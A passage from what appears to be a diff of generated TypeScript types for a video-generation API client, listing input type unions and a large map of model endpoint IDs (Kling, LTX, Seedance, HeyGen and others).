InputFalAiPixverseV45ImageToVideoFast + | InputFalAiPixverseV45TextToVideo + | InputFalAiPixverseV45TextToVideoFast + | InputFalAiPixverseV45Transition + | InputFalAiPixverseV4Effects + | InputFalAiPixverseV4ImageToVideo + | InputFalAiPixverseV4ImageToVideoFast + | InputFalAiPixverseV4TextToVideo + | InputFalAiPixverseV4TextToVideoFast + | InputFalAiPixverseV55Effects + | InputFalAiPixverseV55ImageToVideo + | InputFalAiPixverseV55TextToVideo + | InputFalAiPixverseV55Transition + | InputFalAiPixverseV56ImageToVideo + | InputFalAiPixverseV56TextToVideo + | InputFalAiPixverseV56Transition + | InputFalAiPixverseV5Effects + | InputFalAiPixverseV5ImageToVideo + | InputFalAiPixverseV5TextToVideo + | InputFalAiPixverseV5Transition + | InputFalAiPixverseV6Extend + | InputFalAiPixverseV6ImageToVideo + | InputFalAiPixverseV6TextToVideo + | InputFalAiPixverseV6Transition + | InputFalAiRifeVideo + | InputFalAiSadtalker + | InputFalAiSadtalkerReference + | InputFalAiSam31Video + | InputFalAiSam31VideoRle + | InputFalAiSam3Video + | InputFalAiSam3VideoRle + | InputFalAiSam2Video + | InputFalAiScail2 + | InputFalAiSeedvrUpscaleVideo + | InputFalAiSyncLipsync + | InputFalAiSyncLipsyncReact1 + | InputFalAiSyncLipsyncV2 + | InputFalAiSyncLipsyncV2Pro + | InputFalAiSyncLipsyncV3 + | InputFalAiSyncLipsyncV3ImageToVideo + | InputFalAiThinksound + | InputFalAiThinksoundAudio + | InputFalAiVideoUpscaler + | InputFalAiViduImageToVideo + | InputFalAiViduQ1ImageToVideo + | InputFalAiViduQ1ReferenceToVideo + | InputFalAiViduQ1StartEndToVideo + | InputFalAiViduQ1TextToVideo + | InputFalAiViduQ2ImageToVideoPro + | InputFalAiViduQ2ImageToVideoTurbo + | InputFalAiViduQ2ReferenceToVideoPro + | InputFalAiViduQ2TextToVideo + | InputFalAiViduQ2VideoExtensionPro + | InputFalAiViduQ3ImageToVideo + | InputFalAiViduQ3ImageToVideoTurbo + | InputFalAiViduQ3ReferenceToVideoMix + | InputFalAiViduQ3TextToVideo + | InputFalAiViduQ3TextToVideoTurbo + | InputFalAiViduQ4ImageToVideo + | InputFalAiViduQ4ReferenceToVideo + | InputFalAiViduReferenceToVideo + | InputFalAiViduStartEndToVideo + | InputFalAiViduTemplateToVideo + | InputFalAiVoidVideoInpainting + | InputFalAiWan22VaceFunA14BDepth + | InputFalAiWan22VaceFunA14BInpainting + | InputFalAiWan22VaceFunA14BOutpainting + | InputFalAiWan22VaceFunA14BReframe + | InputFalAiWan25PreviewImageToVideo + | InputFalAiWan25PreviewTextToVideo + | InputFalAiWanI2V + | InputFalAiWanI2VLora + | InputFalAiWanProImageToVideo + | InputFalAiWanProTextToVideo + | InputFalAiWanT2VLora + | InputFalAiWanVace14B + | InputFalAiWanVace14BDepth + | InputFalAiWanVace14BInpainting + | InputFalAiWanVace14BOutpainting + | InputFalAiWanVace14BPose + | InputFalAiWanVace14BReframe + | InputFalAiWanVaceAppsLongReframe + | InputFalAiWanVaceAppsVideoEdit + | InputFalAiWanV2214BAnimateMove + | InputFalAiWanV2214BAnimateReplace + | InputFalAiWanV2214BSpeechToVideo + | InputFalAiWanV225BImageToVideo + | InputFalAiWanV225BTextToVideo + | InputFalAiWanV225BTextToVideoDistill + | InputFalAiWanV225BTextToVideoFastWan + | InputFalAiWanV22A14BImageToVideo + | InputFalAiWanV22A14BImageToVideoLora + | InputFalAiWanV22A14BImageToVideoTurbo + | InputFalAiWanV22A14BTextToVideo + | InputFalAiWanV22A14BTextToVideoLora + | InputFalAiWanV22A14BTextToVideoTurbo + | InputFalAiWanV22A14BVideoToVideo + | InputFalAiWanV27EditVideo + | InputFalAiWanV27ImageToVideo + | InputFalAiWanV27ReferenceToVideo + | InputFalAiWanV27TextToVideo + | InputFalAiWorkflowUtilitiesAutoSubtitle + | InputFalAiWorkflowUtilitiesBlendVideo + | InputFalAiWorkflowUtilitiesReverseVideo + | InputFalAiWorkflowUtilitiesScaleVideo + | InputFalAiWorkflowUtilitiesTrimVideo + | InputGoogleGeminiOmniFlash + | InputGoogleGeminiOmniFlashEdit + | InputGoogleGeminiOmniFlashImageToVideo + | InputGoogleGeminiOmniFlashReferenceToVideo + | InputGoogleGeminiOmniFlashV11Edit + | InputGoogleGeminiOmniFlashV11ImageToVideo + | InputGoogleGeminiOmniFlashV11ReferenceToVideo + | InputGoogleGeminiOmniFlashV11TextToVideo + | InputGoogleGeminiOmniFlashV12Edit + | InputGoogleGeminiOmniFlashV12Extend + | InputGoogleGeminiOmniFlashV12ImageToVideo + | InputGoogleGeminiOmniFlashV12ReferenceToVideo + | InputGoogleGeminiOmniFlashV12TextToVideo + | InputGoogleGeminiOmniFlashV12Upscale + | InputHeygenHeygenVideoImageToVideo + | InputHeygenHeygenVideoReferenceToVideo + | InputHeygenHeygenVideoTextToVideo + | InputKlingV4FlashImageToVideo + | InputKlingV4FlashReferenceToVideo + | InputKlingV4FlashTextToVideo + | InputKlingV4FlashVideoToVideo + | InputKlingV4ImageToVideo + | InputKlingV4ReferenceToVideo + | InputKlingV4TextToVideo + | InputKlingV4VideoToVideoEdit + | InputLightricksLtx25AudioToVideoFast + | InputLightricksLtx25AudioToVideoPro + | InputLightricksLtx25ImageToVideoFast + | InputLightricksLtx25ImageToVideoPro + | InputLightricksLtx25TextToVideoFast + | InputLightricksLtx25TextToVideoPro + | InputLumaAgentRayV32ImageToVideo + | InputLumaAgentRayV32Reframe + | InputLumaAgentRayV32TextToVideo + | InputLumaAgentRayV32VideoToVideo + | InputMinimaxH3MaxTurboExtendVideo + | InputMinimaxH3MaxTurboImageToVideo + | InputMinimaxH3MaxTurboReferenceToVideo + | InputMinimaxH3MaxTurboTextToVideo + | InputMinimaxH3Max3DToVideo + | InputMinimaxH3MaxCameraControls + | InputMinimaxH3MaxExtendVideo + | InputMinimaxH3MaxImageToVideo + | InputMinimaxH3MaxInsertVideo + | InputMinimaxH3MaxLipSyncImageToVideo + | InputMinimaxH3MaxRecast + | InputMinimaxH3MaxReferenceToVideo + | InputMinimaxH3MaxReframeVideo + | InputMinimaxH3MaxRelight + | InputMinimaxH3MaxStyles16BitPixel + | InputMinimaxH3MaxStylesHandDrawn + | InputMinimaxH3MaxStylesLowPoly + | InputMinimaxH3MaxStylesRetroToon70S + | InputMinimaxH3MaxStylesVhs + | InputMinimaxH3MaxTextToVideo + | InputMinimaxH3ImageToVideo + | InputMinimaxH3ImageToVideoLora + | InputMinimaxH3ReferenceToVideo + | InputMinimaxH3ReferenceToVideoLora + | InputMinimaxH3TextToVideo + | InputMinimaxH3TextToVideoLora + | InputMireloAiSfx20VideoToVideo + | InputMoonvalleyMareyI2V + | InputMoonvalleyMareyMotionTransfer + | InputMoonvalleyMareyPoseTransfer + | InputMoonvalleyMareyT2V + | InputMurekaApiGenerateLyricsVideo + | InputNvidiaCosmos3SuperImageToVideo + | InputPixelcutLoopingVideo + | InputPixelcutVideoBackgroundRemoval + | InputPixverseMusicVideoVibemv + | InputSoniloV11VideoToVideoMusic + | InputSoniloV11VideoToVideoSoundEffects + | InputTbcMischief1ImageToVideo + | InputTopazDeblurVideo + | InputTopazDenoiseVideo + | InputTopazInterpolateVideo + | InputTopazSdrToHdrVideo + | InputTopazUpscaleVideoCreative + | InputTopazUpscaleVideoGenerative + | InputTopazUpscaleVideoPrecision + | InputVastEdenLive14BVideo + | InputVastEdenLive5BVideo + | InputVeedAvatarsAudioToVideo + | InputVeedAvatarsTextToVideo + | InputVeedDubbing + | InputVeedDubbingPro + | InputVeedFabric10 + | InputVeedFabric10Fast + | InputVeedFabric10Text + | InputVeedLipsync + | InputVeedLipsyncV2 + | InputVeedSubtitles + | InputVeedVideoBackgroundRemoval + | InputVeedVideoBackgroundRemovalFast + | InputVeedVideoBackgroundRemovalGreenScreen + | InputWanV26ImageToVideo + | InputWanV26ImageToVideoFlash + | InputWanV26ReferenceToVideo + | InputWanV26ReferenceToVideoFlash + | InputWanV26TextToVideo + | InputXaiGrokImagineVideoEditVideo + | InputXaiGrokImagineVideoExtendVideo + | InputXaiGrokImagineVideoImageToVideo + | InputXaiGrokImagineVideoReferenceToVideo + | InputXaiGrokImagineVideoTextToVideo + | InputXaiGrokImagineVideoV15ImageToVideo + | InputXaiGrokImagineVideoV15LiteImageToVideo + | InputXaiGrokImagineVideoV15LiteTextToVideo + | InputXaiGrokImagineVideoV15ReferenceToVideo + | InputXaiGrokImagineVideoV15TextToVideo + +export type FalPostEndpointIdOptions = { + body: FalPostEndpointIdBody + path: FalPostEndpointIdPath + query?: never + headers?: never +} + +export type FalPostEndpointIdResponses = { + '200': FalPostEndpointIdStatus200 +} + +/** + * @description Union of all possible responses + */ +export type FalPostEndpointIdResponse = FalPostEndpointIdStatus200 + +export const falGetEndpointIdRequestsRequestIdEndpointId = { + 'alibaba/happy-horse/image-to-video': 'alibaba/happy-horse/image-to-video', + 'alibaba/happy-horse/reference-to-video': + 'alibaba/happy-horse/reference-to-video', + 'alibaba/happy-horse/text-to-video': 'alibaba/happy-horse/text-to-video', + 'alibaba/happy-horse/v1.1/image-to-video': + 'alibaba/happy-horse/v1.1/image-to-video', + 'alibaba/happy-horse/v1.1/reference-to-video': + 'alibaba/happy-horse/v1.1/reference-to-video', + 'alibaba/happy-horse/v1.1/text-to-video': + 'alibaba/happy-horse/v1.1/text-to-video', + 'alibaba/happy-horse/video-edit': 'alibaba/happy-horse/video-edit', + 'alibaba/wan-3.0-prime/image-to-video': + 'alibaba/wan-3.0-prime/image-to-video', + 'alibaba/wan-3.0-prime/reference-to-video': + 'alibaba/wan-3.0-prime/reference-to-video', + 'alibaba/wan-3.0-prime/text-to-video': 'alibaba/wan-3.0-prime/text-to-video', + 'alibaba/wan-3.0/image-to-video': 'alibaba/wan-3.0/image-to-video', + 'alibaba/wan-3.0/reference-to-video': 'alibaba/wan-3.0/reference-to-video', + 'alibaba/wan-3.0/text-to-video': 'alibaba/wan-3.0/text-to-video', + 'argil/avatars/audio-to-video': 'argil/avatars/audio-to-video', + 'argil/avatars/text-to-video': 'argil/avatars/text-to-video', + 'blackforestlabs/flux-3-max/image-to-video': + 'blackforestlabs/flux-3-max/image-to-video', + 'blackforestlabs/flux-3-max/keyframes-to-video': + 'blackforestlabs/flux-3-max/keyframes-to-video', + 'blackforestlabs/flux-3-max/text-to-video': + 'blackforestlabs/flux-3-max/text-to-video', + 'blackforestlabs/flux-3/draft-enhance': + 'blackforestlabs/flux-3/draft-enhance', + 'blackforestlabs/flux-3/edit-video': 'blackforestlabs/flux-3/edit-video', + 'blackforestlabs/flux-3/extend-video': 'blackforestlabs/flux-3/extend-video', + 'blackforestlabs/flux-3/extend-video/draft': + 'blackforestlabs/flux-3/extend-video/draft', + 'blackforestlabs/flux-3/first-last-frame-to-video': + 'blackforestlabs/flux-3/first-last-frame-to-video', + 'blackforestlabs/flux-3/first-last-frame-to-video/draft': + 'blackforestlabs/flux-3/first-last-frame-to-video/draft', + 'blackforestlabs/flux-3/image-to-video': + 'blackforestlabs/flux-3/image-to-video', + 'blackforestlabs/flux-3/image-to-video/draft': + 'blackforestlabs/flux-3/image-to-video/draft', + 'blackforestlabs/flux-3/keyframes-to-video': + 'blackforestlabs/flux-3/keyframes-to-video', + 'blackforestlabs/flux-3/keyframes-to-video/draft': + 'blackforestlabs/flux-3/keyframes-to-video/draft', + 'blackforestlabs/flux-3/text-to-video': + 'blackforestlabs/flux-3/text-to-video', + 'blackforestlabs/flux-3/text-to-video/draft': + 'blackforestlabs/flux-3/text-to-video/draft', + 'blackforestlabs/flux-video-upscale': 'blackforestlabs/flux-video-upscale', + 'bria/bria_video_eraser/erase/keypoints': + 'bria/bria_video_eraser/erase/keypoints', + 'bria/bria_video_eraser/erase/mask': 'bria/bria_video_eraser/erase/mask', + 'bria/bria_video_eraser/erase/prompt': 'bria/bria_video_eraser/erase/prompt', + 'bria/video/background-removal': 'bria/video/background-removal', + 'bria/video/background-removal/green-screen-despill': + 'bria/video/background-removal/green-screen-despill', + 'bria/video/background-removal/realtime': + 'bria/video/background-removal/realtime', + 'bria/video/background-removal/v3': 'bria/video/background-removal/v3', + 'bria/video/erase/keypoints': 'bria/video/erase/keypoints', + 'bria/video/erase/mask': 'bria/video/erase/mask', + 'bria/video/erase/prompt': 'bria/video/erase/prompt', + 'bria/video/increase-resolution': 'bria/video/increase-resolution', + 'bytedance/omnihuman/v2': 'bytedance/omnihuman/v2', + 'bytedance/seedance-2.0/fast/image-to-video': + 'bytedance/seedance-2.0/fast/image-to-video', + 'bytedance/seedance-2.0/fast/reference-to-video': + 'bytedance/seedance-2.0/fast/reference-to-video', + 'bytedance/seedance-2.0/fast/text-to-video': + 'bytedance/seedance-2.0/fast/text-to-video', + 'bytedance/seedance-2.0/mini/image-to-video': + 'bytedance/seedance-2.0/mini/image-to-video', + 'bytedance/seedance-2.0/mini/reference-to-video': + 'bytedance/seedance-2.0/mini/reference-to-video', + 'bytedance/seedance-2.0/mini/text-to-video': + 'bytedance/seedance-2.0/mini/text-to-video', + 'bytedance/seedance-2.0/us/image-to-video': + 'bytedance/seedance-2.0/us/image-to-video', + 'bytedance/seedance-2.0/us/reference-to-video': + 'bytedance/seedance-2.0/us/reference-to-video', + 'bytedance/seedance-2.0/us/text-to-video': + 'bytedance/seedance-2.0/us/text-to-video', + 'bytedance/seedance-2.5/us/draft/complete': + 'bytedance/seedance-2.5/us/draft/complete', + 'bytedance/seedance-2.5/us/image-to-video': + 'bytedance/seedance-2.5/us/image-to-video', + 'bytedance/seedance-2.5/us/reference-to-video': + 'bytedance/seedance-2.5/us/reference-to-video', + 'bytedance/seedance-2.5/us/text-to-video': + 'bytedance/seedance-2.5/us/text-to-video', + 'cassetteai/video-sound-effects-generator': + 'cassetteai/video-sound-effects-generator', + 'clarityai/crystal-video-upscaler': 'clarityai/crystal-video-upscaler', + 'creatify/boreal': 'creatify/boreal', + 'decart/lucy-2-5/realtime': 'decart/lucy-2-5/realtime', + 'decart/lucy-restyle': 'decart/lucy-restyle', + 'decart/lucy2-vton/realtime': 'decart/lucy2-vton/realtime', + 'fal-ai/ai-avatar/multi': 'fal-ai/ai-avatar/multi', + 'fal-ai/ai-avatar/multi-text': 'fal-ai/ai-avatar/multi-text', + 'fal-ai/ai-avatar/single-text': 'fal-ai/ai-avatar/single-text', + 'fal-ai/auto-caption': 'fal-ai/auto-caption', + 'fal-ai/ben/v2/video': 'fal-ai/ben/v2/video', + 'fal-ai/birefnet/v2/video': 'fal-ai/birefnet/v2/video', + 'fal-ai/bytedance-upscaler/upscale/video': + 'fal-ai/bytedance-upscaler/upscale/video', + 'fal-ai/bytedance/dreamactor/v2': 'fal-ai/bytedance/dreamactor/v2', + 'fal-ai/bytedance/omnihuman': 'fal-ai/bytedance/omnihuman', + 'fal-ai/bytedance/omnihuman/v1.5': 'fal-ai/bytedance/omnihuman/v1.5', + 'fal-ai/bytedance/seedance/v1.5/pro/image-to-video': + 'fal-ai/bytedance/seedance/v1.5/pro/image-to-video', + 'fal-ai/bytedance/seedance/v1.5/pro/text-to-video': + 'fal-ai/bytedance/seedance/v1.5/pro/text-to-video', + 'fal-ai/bytedance/seedance/v1/pro/fast/image-to-video': + 'fal-ai/bytedance/seedance/v1/pro/fast/image-to-video', + 'fal-ai/bytedance/seedance/v1/pro/fast/text-to-video': + 'fal-ai/bytedance/seedance/v1/pro/fast/text-to-video', + 'fal-ai/bytedance/seedance/v1/pro/image-to-video': + 'fal-ai/bytedance/seedance/v1/pro/image-to-video', + 'fal-ai/bytedance/seedance/v1/pro/text-to-video': + 'fal-ai/bytedance/seedance/v1/pro/text-to-video', + 'fal-ai/creatify/aurora': 'fal-ai/creatify/aurora', + 'fal-ai/davinci-magihuman': 'fal-ai/davinci-magihuman', + 'fal-ai/depth-anything-video': 'fal-ai/depth-anything-video', + 'fal-ai/dwpose/video': 'fal-ai/dwpose/video', + 'fal-ai/echomimic-v3': 'fal-ai/echomimic-v3', + 'fal-ai/elevenlabs/dubbing': 'fal-ai/elevenlabs/dubbing', + 'fal-ai/ffmpeg-api/compose': 'fal-ai/ffmpeg-api/compose', + 'fal-ai/ffmpeg-api/images-to-video': 'fal-ai/ffmpeg-api/images-to-video', + 'fal-ai/ffmpeg-api/merge-audio-video': 'fal-ai/ffmpeg-api/merge-audio-video', + 'fal-ai/ffmpeg-api/merge-videos': 'fal-ai/ffmpeg-api/merge-videos', + 'fal-ai/film/video': 'fal-ai/film/video', + 'fal-ai/flashhead': 'fal-ai/flashhead', + 'fal-ai/flux-3-action/so101': 'fal-ai/flux-3-action/so101', + 'fal-ai/framepack': 'fal-ai/framepack', + 'fal-ai/framepack/f1': 'fal-ai/framepack/f1', + 'fal-ai/framepack/flf2v': 'fal-ai/framepack/flf2v', + 'fal-ai/heygen/avatar3/digital-twin': 'fal-ai/heygen/avatar3/digital-twin', + 'fal-ai/heygen/avatar4/digital-twin': 'fal-ai/heygen/avatar4/digital-twin', + 'fal-ai/heygen/avatar4/image-to-video': + 'fal-ai/heygen/avatar4/image-to-video', + 'fal-ai/heygen/avatar5/digital-twin': 'fal-ai/heygen/avatar5/digital-twin', + 'fal-ai/heygen/v2/translate/precision': + 'fal-ai/heygen/v2/translate/precision', + 'fal-ai/heygen/v2/translate/speed': 'fal-ai/heygen/v2/translate/speed', + 'fal-ai/heygen/v2/video-agent': 'fal-ai/heygen/v2/video-agent', + 'fal-ai/heygen/v3/filler-word-removal': + 'fal-ai/heygen/v3/filler-word-removal', + 'fal-ai/heygen/v3/lipsync/precision': 'fal-ai/heygen/v3/lipsync/precision', + 'fal-ai/heygen/v3/lipsync/speed': 'fal-ai/heygen/v3/lipsync/speed', + 'fal-ai/heygen/v3/video-agent': 'fal-ai/heygen/v3/video-agent', + 'fal-ai/hunyuan-video': 'fal-ai/hunyuan-video', + 'fal-ai/hunyuan-video-foley': 'fal-ai/hunyuan-video-foley', + 'fal-ai/hunyuan-video-image-to-video': 'fal-ai/hunyuan-video-image-to-video', + 'fal-ai/hunyuan-video-v1.5/image-to-video': + 'fal-ai/hunyuan-video-v1.5/image-to-video', + 'fal-ai/hunyuan-video-v1.5/text-to-video': + 'fal-ai/hunyuan-video-v1.5/text-to-video', + 'fal-ai/hunyuan-video/video-to-video': 'fal-ai/hunyuan-video/video-to-video', + 'fal-ai/id-v2v': 'fal-ai/id-v2v', + 'fal-ai/id-v2v/relight': 'fal-ai/id-v2v/relight', + 'fal-ai/infinity-star/text-to-video': 'fal-ai/infinity-star/text-to-video', + 'fal-ai/kandinsky5-pro/image-to-video': + 'fal-ai/kandinsky5-pro/image-to-video', + 'fal-ai/kandinsky5-pro/text-to-video': 'fal-ai/kandinsky5-pro/text-to-video', + 'fal-ai/kandinsky5/text-to-video': 'fal-ai/kandinsky5/text-to-video', + 'fal-ai/kandinsky5/text-to-video/distill': + 'fal-ai/kandinsky5/text-to-video/distill', + 'fal-ai/kandinsky6-lite/image-to-video': + 'fal-ai/kandinsky6-lite/image-to-video', + 'fal-ai/kandinsky6-lite/text-to-video': + 'fal-ai/kandinsky6-lite/text-to-video', + 'fal-ai/kandinsky6-pro/image-to-video': + 'fal-ai/kandinsky6-pro/image-to-video', + 'fal-ai/kandinsky6-pro/text-to-video': 'fal-ai/kandinsky6-pro/text-to-video', + 'fal-ai/kandinsky6-vsr': 'fal-ai/kandinsky6-vsr', + 'fal-ai/kandinsky6-vsr/lite': 'fal-ai/kandinsky6-vsr/lite', + 'fal-ai/kling-video/ai-avatar/v2/pro': 'fal-ai/kling-video/ai-avatar/v2/pro', + 'fal-ai/kling-video/ai-avatar/v2/standard': + 'fal-ai/kling-video/ai-avatar/v2/standard', + 'fal-ai/kling-video/lipsync/audio-to-video': + 'fal-ai/kling-video/lipsync/audio-to-video', + 'fal-ai/kling-video/lipsync/text-to-video': + 'fal-ai/kling-video/lipsync/text-to-video', + 'fal-ai/kling-video/o1/image-to-video': + 'fal-ai/kling-video/o1/image-to-video', + 'fal-ai/kling-video/o1/reference-to-video': + 'fal-ai/kling-video/o1/reference-to-video', + 'fal-ai/kling-video/o1/standard/image-to-video': + 'fal-ai/kling-video/o1/standard/image-to-video', + 'fal-ai/kling-video/o1/standard/reference-to-video': + 'fal-ai/kling-video/o1/standard/reference-to-video', + 'fal-ai/kling-video/o1/standard/video-to-video/edit': + 'fal-ai/kling-video/o1/standard/video-to-video/edit', + 'fal-ai/kling-video/o1/standard/video-to-video/reference': + 'fal-ai/kling-video/o1/standard/video-to-video/reference', + 'fal-ai/kling-video/o1/video-to-video/edit': + 'fal-ai/kling-video/o1/video-to-video/edit', + 'fal-ai/kling-video/o1/video-to-video/reference': + 'fal-ai/kling-video/o1/video-to-video/reference', + 'fal-ai/kling-video/o3/4k/image-to-video': + 'fal-ai/kling-video/o3/4k/image-to-video', + 'fal-ai/kling-video/o3/4k/reference-to-video': + 'fal-ai/kling-video/o3/4k/reference-to-video', + 'fal-ai/kling-video/o3/4k/text-to-video': + 'fal-ai/kling-video/o3/4k/text-to-video', + 'fal-ai/kling-video/o3/4k/video-to-video/edit': + 'fal-ai/kling-video/o3/4k/video-to-video/edit', + 'fal-ai/kling-video/o3/4k/video-to-video/reference': + 'fal-ai/kling-video/o3/4k/video-to-video/reference', + 'fal-ai/kling-video/o3/pro/image-to-video': + 'fal-ai/kling-video/o3/pro/image-to-video', + 'fal-ai/kling-video/o3/pro/reference-to-video': + 'fal-ai/kling-video/o3/pro/reference-to-video', + 'fal-ai/kling-video/o3/pro/text-to-video': + 'fal-ai/kling-video/o3/pro/text-to-video', + 'fal-ai/kling-video/o3/pro/video-to-video/edit': + 'fal-ai/kling-video/o3/pro/video-to-video/edit', + 'fal-ai/kling-video/o3/pro/video-to-video/reference': + 'fal-ai/kling-video/o3/pro/video-to-video/reference', + 'fal-ai/kling-video/o3/standard/image-to-video': + 'fal-ai/kling-video/o3/standard/image-to-video', + 'fal-ai/kling-video/o3/standard/reference-to-video': + 'fal-ai/kling-video/o3/standard/reference-to-video', + 'fal-ai/kling-video/o3/standard/text-to-video': + 'fal-ai/kling-video/o3/standard/text-to-video', + 'fal-ai/kling-video/o3/standard/video-to-video/edit': + 'fal-ai/kling-video/o3/standard/video-to-video/edit', + 'fal-ai/kling-video/o3/standard/video-to-video/reference': + 'fal-ai/kling-video/o3/standard/video-to-video/reference', + 'fal-ai/kling-video/v1.5/pro/effects': 'fal-ai/kling-video/v1.5/pro/effects', + 'fal-ai/kling-video/v1.6/pro/effects': 'fal-ai/kling-video/v1.6/pro/effects', + 'fal-ai/kling-video/v1.6/standard/effects': + 'fal-ai/kling-video/v1.6/standard/effects', + 'fal-ai/kling-video/v1/pro/ai-avatar': 'fal-ai/kling-video/v1/pro/ai-avatar', + 'fal-ai/kling-video/v1/standard/ai-avatar': + 'fal-ai/kling-video/v1/standard/ai-avatar', + 'fal-ai/kling-video/v1/standard/effects': + 'fal-ai/kling-video/v1/standard/effects', + 'fal-ai/kling-video/v2.5-turbo/pro/image-to-video': + 'fal-ai/kling-video/v2.5-turbo/pro/image-to-video', + 'fal-ai/kling-video/v2.5-turbo/pro/text-to-video': + 'fal-ai/kling-video/v2.5-turbo/pro/text-to-video', + 'fal-ai/kling-video/v2.5-turbo/standard/image-to-video': + 'fal-ai/kling-video/v2.5-turbo/standard/image-to-video', + 'fal-ai/kling-video/v2.6/pro/image-to-video': + 'fal-ai/kling-video/v2.6/pro/image-to-video', + 'fal-ai/kling-video/v2.6/pro/motion-control': + 'fal-ai/kling-video/v2.6/pro/motion-control', + 'fal-ai/kling-video/v2.6/pro/text-to-video': + 'fal-ai/kling-video/v2.6/pro/text-to-video', + 'fal-ai/kling-video/v2.6/standard/motion-control': + 'fal-ai/kling-video/v2.6/standard/motion-control', + 'fal-ai/kling-video/v3/4k/image-to-video': + 'fal-ai/kling-video/v3/4k/image-to-video', + 'fal-ai/kling-video/v3/4k/text-to-video': + 'fal-ai/kling-video/v3/4k/text-to-video', + 'fal-ai/kling-video/v3/pro/image-to-video': + 'fal-ai/kling-video/v3/pro/image-to-video', + 'fal-ai/kling-video/v3/pro/motion-control': + 'fal-ai/kling-video/v3/pro/motion-control', + 'fal-ai/kling-video/v3/pro/text-to-video': + 'fal-ai/kling-video/v3/pro/text-to-video', + 'fal-ai/kling-video/v3/standard/image-to-video': + 'fal-ai/kling-video/v3/standard/image-to-video', + 'fal-ai/kling-video/v3/standard/motion-control': + 'fal-ai/kling-video/v3/standard/motion-control', + 'fal-ai/kling-video/v3/standard/text-to-video': + 'fal-ai/kling-video/v3/standard/text-to-video', + 'fal-ai/kling-video/v3/turbo/pro/image-to-video': + 'fal-ai/kling-video/v3/turbo/pro/image-to-video', + 'fal-ai/kling-video/v3/turbo/pro/text-to-video': + 'fal-ai/kling-video/v3/turbo/pro/text-to-video', + 'fal-ai/kling-video/v3/turbo/standard/image-to-video': + 'fal-ai/kling-video/v3/turbo/standard/image-to-video', + 'fal-ai/kling-video/v3/turbo/standard/text-to-video': + 'fal-ai/kling-video/v3/turbo/standard/text-to-video', + 'fal-ai/krea-wan-14b/text-to-video': 'fal-ai/krea-wan-14b/text-to-video', + 'fal-ai/krea-wan-14b/video-to-video': 'fal-ai/krea-wan-14b/video-to-video', + 'fal-ai/latentsync': 'fal-ai/latentsync', + 'fal-ai/lightx/recamera': 'fal-ai/lightx/recamera', + 'fal-ai/lightx/relight': 'fal-ai/lightx/relight', + 'fal-ai/live-portrait': 'fal-ai/live-portrait', + 'fal-ai/longcat-single-avatar/audio-to-video': + 'fal-ai/longcat-single-avatar/audio-to-video', + 'fal-ai/longcat-single-avatar/image-audio-to-video': + 'fal-ai/longcat-single-avatar/image-audio-to-video', + 'fal-ai/longcat-video/distilled/image-to-video/480p': + 'fal-ai/longcat-video/distilled/image-to-video/480p', + 'fal-ai/longcat-video/distilled/image-to-video/720p': + 'fal-ai/longcat-video/distilled/image-to-video/720p', + 'fal-ai/longcat-video/distilled/text-to-video/480p': + 'fal-ai/longcat-video/distilled/text-to-video/480p', + 'fal-ai/longcat-video/distilled/text-to-video/720p': + 'fal-ai/longcat-video/distilled/text-to-video/720p', + 'fal-ai/longcat-video/image-to-video/480p': + 'fal-ai/longcat-video/image-to-video/480p', + 'fal-ai/longcat-video/image-to-video/720p': + 'fal-ai/longcat-video/image-to-video/720p', + 'fal-ai/longcat-video/text-to-video/480p': + 'fal-ai/longcat-video/text-to-video/480p', + 'fal-ai/longcat-video/text-to-video/720p': + 'fal-ai/longcat-video/text-to-video/720p', + 'fal-ai/ltx-2.3-22b/audio-to-video': 'fal-ai/ltx-2.3-22b/audio-to-video', + 'fal-ai/ltx-2.3-22b/audio-to-video/lora': + 'fal-ai/ltx-2.3-22b/audio-to-video/lora', + 'fal-ai/ltx-2.3-22b/distilled/audio-to-video': + 'fal-ai/ltx-2.3-22b/distilled/audio-to-video', + 'fal-ai/ltx-2.3-22b/distilled/audio-to-video/lora': + 'fal-ai/ltx-2.3-22b/distilled/audio-to-video/lora', + 'fal-ai/ltx-2.3-22b/distilled/image-to-video': + 'fal-ai/ltx-2.3-22b/distilled/image-to-video', + 'fal-ai/ltx-2.3-22b/distilled/image-to-video/lora': + 'fal-ai/ltx-2.3-22b/distilled/image-to-video/lora', + 'fal-ai/ltx-2.3-22b/distilled/reference-video-to-video': + 'fal-ai/ltx-2.3-22b/distilled/reference-video-to-video', + 'fal-ai/ltx-2.3-22b/distilled/reference-video-to-video/lora': + 'fal-ai/ltx-2.3-22b/distilled/reference-video-to-video/lora', + 'fal-ai/ltx-2.3-22b/distilled/text-to-video': + 'fal-ai/ltx-2.3-22b/distilled/text-to-video', + 'fal-ai/ltx-2.3-22b/distilled/text-to-video/lora': + 'fal-ai/ltx-2.3-22b/distilled/text-to-video/lora', + 'fal-ai/ltx-2.3-22b/distilled/video-to-video': + 'fal-ai/ltx-2.3-22b/distilled/video-to-video', + 'fal-ai/ltx-2.3-22b/distilled/video-to-video/lora': + 'fal-ai/ltx-2.3-22b/distilled/video-to-video/lora', + 'fal-ai/ltx-2.3-22b/extend-video': 'fal-ai/ltx-2.3-22b/extend-video', + 'fal-ai/ltx-2.3-22b/extend-video/lora': + 'fal-ai/ltx-2.3-22b/extend-video/lora', + 'fal-ai/ltx-2.3-22b/image-to-video': 'fal-ai/ltx-2.3-22b/image-to-video', + 'fal-ai/ltx-2.3-22b/image-to-video/lora': + 'fal-ai/ltx-2.3-22b/image-to-video/lora', + 'fal-ai/ltx-2.3-22b/reference-video-to-video': + 'fal-ai/ltx-2.3-22b/reference-video-to-video', + 'fal-ai/ltx-2.3-22b/reference-video-to-video/lora': + 'fal-ai/ltx-2.3-22b/reference-video-to-video/lora', + 'fal-ai/ltx-2.3-22b/text-to-video': 'fal-ai/ltx-2.3-22b/text-to-video', + 'fal-ai/ltx-2.3-22b/text-to-video/lora': + 'fal-ai/ltx-2.3-22b/text-to-video/lora', + 'fal-ai/ltx-2.3-22b/video-to-video': 'fal-ai/ltx-2.3-22b/video-to-video', + 'fal-ai/ltx-2.3-22b/video-to-video/lora': + 'fal-ai/ltx-2.3-22b/video-to-video/lora', + 'fal-ai/ltx-2.3-quality/audio-to-video': + 'fal-ai/ltx-2.3-quality/audio-to-video', + 'fal-ai/ltx-2.3-quality/audio-to-video/lora': + 'fal-ai/ltx-2.3-quality/audio-to-video/lora', + 'fal-ai/ltx-2.3-quality/clean-plate': 'fal-ai/ltx-2.3-quality/clean-plate', + 'fal-ai/ltx-2.3-quality/colorization': 'fal-ai/ltx-2.3-quality/colorization', + 'fal-ai/ltx-2.3-quality/cross-eyed': 'fal-ai/ltx-2.3-quality/cross-eyed', + 